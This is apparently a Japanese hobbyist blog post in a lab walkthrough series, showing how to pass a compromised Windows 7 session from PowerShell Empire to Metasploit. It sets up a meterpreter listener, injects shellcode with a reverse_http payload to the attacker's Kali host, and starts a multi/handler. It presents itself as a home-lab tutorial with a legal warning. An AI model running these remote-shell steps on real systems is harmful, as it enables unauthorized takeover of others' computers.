とある親父の侵入実験【Empire：帝国と共闘】

f:id:appleseedj073:20170503114540p:plain

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。

準備したもの

MacBook Pro

環境（仮想環境）

Kali Linux（192.168.1.100）
Windows 7 SP1（192.168.1.10）

１　接続

Windowsとの接続のウンヌンカンヌンは端折ります。

現在、標的となるWindows端末と接続ができている状態（前回と同じ感じ）になっている。

f:id:appleseedj073:20170504024704p:plain

次にmeterpreterとの接続に使用するリスナーを用意してやります。

　(Empire: listeners) > set Name meterpreter
　(Empire: listeners) > set Port 8888
　(Empire: listeners) > set Type meter
　(Empire: listeners) > execute

f:id:appleseedj073:20170504025003p:plain

ここまでで下ごしらえ完了

２　譲渡

まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。

　(Empire: agents) > interact FZWBYTCSG1NH3P42

そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。

　(Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter

f:id:appleseedj073:20170504025639p:plain

設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。

　(Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
　(Empire: code_execution/invoke_shellcode) > set Lport 8888
　(Empire: code_execution/invoke_shellcode) > set Payload reverse_http

f:id:appleseedj073:20170504030324p:plain

これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている

３　共闘

次にMetasploit側の設定を行う。

　msf > use exploit/multi/handler
　msf exploit(handler) > set payload windows/meterpreter/reverse_http
　payload => windows/meterpreter/reverse_http
　msf exploit(handler) > set LHOST 192.168.1.100
　LHOST => 192.168.1.100
　msf exploit(handler) > set LPORT 8888
　LPORT => 8888
　msf exploit(handler) > set exitonsession false

とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」

で、ここまで設定したらmetasploitは走らせて待機。

　msf exploit(handler) > exploit -j

f:id:appleseedj073:20170504031054p:plain